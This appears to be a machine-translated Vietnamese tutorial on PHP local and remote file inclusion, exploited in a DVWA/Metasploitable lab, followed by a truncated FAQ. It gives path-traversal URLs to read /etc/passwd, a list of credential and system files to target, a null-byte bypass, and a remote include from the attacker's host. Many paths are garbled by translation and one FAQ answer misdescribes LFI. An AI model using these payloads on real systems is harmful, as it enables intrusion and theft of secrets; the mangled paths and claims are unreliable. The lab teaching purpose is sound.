Bao gồm PHP là gì?

Bao gồm tệp từ xa [RFI] và Bao gồm tệp cục bộ [LFI] là các lỗ hổng thường được tìm thấy trong các ứng dụng web được viết kém. Những lỗ hổng này xảy ra khi ứng dụng web cho phép người dùng gửi thông tin đầu vào vào tệp hoặc tải tệp lên máy chủ

Lỗ hổng LFI cho phép kẻ tấn công đọc [và đôi khi thực thi] tệp trên máy nạn nhân. Điều này có thể rất nguy hiểm vì nếu máy chủ web bị định cấu hình sai và chạy với đặc quyền cao, kẻ tấn công có thể có quyền truy cập vào thông tin nhạy cảm. Nếu kẻ tấn công có thể đặt mã trên máy chủ web thông qua các phương tiện khác, thì chúng có thể thực thi các lệnh tùy ý

Lỗ hổng RFI dễ khai thác hơn nhưng ít phổ biến hơn. Thay vì truy cập một tệp trên máy cục bộ, kẻ tấn công có thể thực thi mã được lưu trữ trên máy của chính chúng

Để chứng minh những kỹ thuật này, chúng tôi sẽ sử dụng Ứng dụng web dễ bị tổn thương chết tiệt [DVWA] trong metasploitable. Kết nối với metasploitable từ trình duyệt của bạn và nhấp vào liên kết DVWA

Thông tin đăng nhập vào DVWA là
mật khẩu quản trị

Sau khi chúng tôi được xác thực, hãy nhấp vào tab “DVWA Security” trên bảng điều khiển bên trái. Đặt mức bảo mật thành 'thấp' và nhấp vào 'Gửi', sau đó chọn tab "Bao gồm tệp"

Trên trang bao gồm tệp, nhấp vào nút xem nguồn ở dưới cùng bên phải. Nếu cài đặt bảo mật của bạn được đặt thành công ở mức thấp, bạn sẽ thấy mã nguồn sau

$file = $_GET['page']; //The page we wish to display

Bản thân đoạn mã này không thực sự dễ bị tổn thương, vậy lỗ hổng nằm ở đâu? . Biến $_GET đủ thú vị để họ bắt đầu kiểm tra hoặc quét để đưa vào tệp. Vì chúng tôi đã có quyền truy cập root vào máy, hãy thử nhiều hơn và xem liệu chúng tôi có thể tìm ra lỗ hổng đến từ đâu không

SSH đến metasploitable với thông tin đăng nhập sau
msfadmin / msfadmin

Chúng ta có thể sử dụng cat để xem chỉ mục. php trong thư mục /var/www/dvwa/vulnerabilities/fi/.

msfadmin: cat -n /var/www/dvwa/vulnerabilities/fi/index.php

Nhìn vào đầu ra, chúng ta có thể thấy rằng có một câu lệnh switch ở dòng 15, lấy cài đặt bảo mật làm đầu vào và ngắt tùy thuộc vào cài đặt nào được áp dụng. Vì chúng tôi đã chọn 'thấp', nên mã tiếp tục gọi /source/low. php. Nếu chúng ta nhìn xa hơn trong chỉ mục. php, chúng ta có thể thấy dòng 35 nói

include[$file];

Và chúng tôi đã có nó. Chúng tôi đã tìm thấy vị trí của lỗ hổng. Mã này dễ bị tổn thương vì không có quy trình làm sạch đầu vào do người dùng cung cấp. Cụ thể, biến $file không được làm sạch trước khi được gọi bởi hàm include[]

Nếu máy chủ web có quyền truy cập vào tệp được yêu cầu, mọi mã PHP chứa bên trong sẽ được thực thi. Mọi mã không phải PHP trong tệp sẽ được hiển thị trong trình duyệt của người dùng

Bây giờ chúng ta đã hiểu làm thế nào một lỗ hổng bao gồm tệp có thể xảy ra, chúng ta sẽ khai thác các lỗ hổng trên bao gồm. trang php

Bao gồm tệp cục bộ [LFI]

Trong thanh địa chỉ trình duyệt, nhập như sau

//192.168.80.134/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd

Các '. /' ký tự được sử dụng trong ví dụ trên đại diện cho một thư mục duyệt qua. Số lượng '. /’ phụ thuộc vào cấu hình và vị trí của máy chủ web mục tiêu trên máy nạn nhân. Một số thử nghiệm có thể được yêu cầu

Chúng ta có thể thấy rằng nội dung của /etc/passwd được hiển thị trên màn hình. Rất nhiều thông tin hữu ích về máy chủ có thể thu được theo cách này. Một số tệp thú vị cần tìm bao gồm, nhưng không giới hạn ở

– /etc/vấn đề
– /proc/phiên bản
– /etc/hồ sơ
– /etc/passwd
– /etc/passwd
– /etc/shadow
- /nguồn gốc/. bash_history
– /var/log/dmessage
– /var/mail/root
– /var/spool/cron/crontabs/root

– Hệ thống sửa chữa %SYSTEMROOT%
– %SYSTEMROOT%repairSAM
– %SYSTEMROOT%repairSAM
– %WINDIR%thắng. ban đầu
– %SYSTEMDRIVE%boot. ban đầu
– %WINDIR%Panthersysprep. inf
– %WINDIR%system32configAppEvent. Evt

– /etc/fstab
– /etc/master. mật khẩu
– /etc/resolv. conf
– /etc/sudoers
– /etc/sysctl. conf


[/vc_tta_section]

Đôi khi trong quá trình Bao gồm tệp cục bộ, máy chủ web sẽ thêm '. php' vào tệp được bao gồm. Ví dụ: bao gồm '/etc/passwd' được hiển thị dưới dạng '/etc/passwd. php'. Điều này xảy ra khi hàm bao gồm sử dụng một tham số như ?page và nối các. phần mở rộng php vào tệp. Trong các phiên bản PHP dưới 5. 3, kết thúc URL bằng byte rỗng [%00] sẽ khiến trình thông dịch ngừng đọc, điều này sẽ cho phép kẻ tấn công đưa vào trang dự định của chúng

Bao gồm tệp từ xa [RFI]

Phần trình diễn này yêu cầu một số thiết lập ban đầu. Chúng tôi sẽ coi đây là cơ hội để phát triển một số kỹ năng PHP và dòng lệnh Linux

Để RFI thành công, cần phải đặt hai chức năng trong tệp cấu hình của PHP. allow_url_fopen và allow_url_include đều cần được 'Bật'. Từ tài liệu PHP, chúng ta có thể thấy những cấu hình này làm gì

allow_url_fopen – “Tùy chọn này cho phép trình bao bọc fopen nhận biết URL cho phép truy cập đối tượng URL như tệp. Trình bao mặc định được cung cấp để truy cập các tệp từ xa bằng giao thức ftp hoặc http, một số tiện ích mở rộng như zlib có thể đăng ký trình bao bọc bổ sung. ”

allow_url_include – “Tùy chọn này cho phép sử dụng trình bao bọc fopen nhận biết URL với các chức năng sau. bao gồm, bao gồm_một lần, yêu cầu, yêu cầu_một lần”

Để tìm tệp cấu hình của DVWA, hãy nhấp vào tab 'Thông tin PHP' trên bảng điều khiển bên trái. Màn hình này cung cấp cho chúng tôi một lượng lớn thông tin hữu ích, bao gồm phiên bản PHP, hệ điều hành của nạn nhân và tất nhiên, tệp cấu hình. Chúng ta có thể thấy rằng tệp được tải là /etc/php5/cgi/php. ban đầu

Trong metasploitable, chúng tôi có thể mở tệp php. ini bằng cách sử dụng nano .

msfadmin: sudo nano /etc/php5/cgi/php.ini
sudo password: msfadmin

Trong nano, nhập 'ctrl-w' để tìm chuỗi. Nhập 'allow_url' và nhấn enter. Bây giờ chúng ta sẽ ở dòng 573 của php. ini [nhập 'ctrl-c' để tìm dòng hiện tại ở dạng nano]. Đảm bảo rằng 'allow_url_fopen' và 'allow_url_include' đều được đặt thành 'Bật'. Lưu tệp của bạn bằng 'ctrl-o' và thoát bằng 'ctrl-x'. Bây giờ, hãy khởi động lại máy chủ web của metasploitable với

msfadmin: sudo /etc/init.d/apache2 restart

Trong Kali, chúng tôi cần thiết lập máy chủ web của riêng mình để thử nghiệm. Đầu tiên, tạo một tệp thử nghiệm có tên rfi-test. php và sau đó bắt đầu apache

root@kali:~# echo "Success." > /var/www/html/rfi-test.php
root@kali:~# systemctl start apache2

Bây giờ chúng ta có thể kiểm tra RFI của mình. Trên trang 'Bao gồm tệp', hãy nhập URL sau

//192.168.80.134/dvwa/vulnerabilities/fi/?page=//192.168.80.128/rfi-test.php

Từ đầu ra được hiển thị trên đầu trình duyệt, chúng ta có thể thấy rằng trang thực sự dễ bị RFI

include_once và request_once trong PHP là gì?

include_once sẽ đưa ra cảnh báo, nhưng sẽ không ngăn PHP thực thi phần còn lại của tập lệnh. require_once sẽ đưa ra lỗi và sẽ ngăn PHP thực thi phần còn lại của tập lệnh .

Bao gồm tập tin độc hại là gì?

Tương tự như RFI, bao gồm tệp cục bộ [LFI] là một vectơ liên quan đến việc tải các tệp độc hại lên máy chủ thông qua trình duyệt web . Hai vectơ thường được tham chiếu cùng nhau trong ngữ cảnh của các cuộc tấn công bao gồm tệp. Trong cả hai trường hợp, một cuộc tấn công thành công dẫn đến phần mềm độc hại được tải lên máy chủ được nhắm mục tiêu.

Sự khác biệt của bao gồm thấp và từ xa là gì?

Bao gồm tệp từ xa [RFI] là một loại lỗ hổng thường được tìm thấy trên các cổng web chạy PHP phù hợp trên web và Bao gồm tệp cục bộ [LFI] tương tự như RFI, điểm khác biệt duy nhất là

Chủ Đề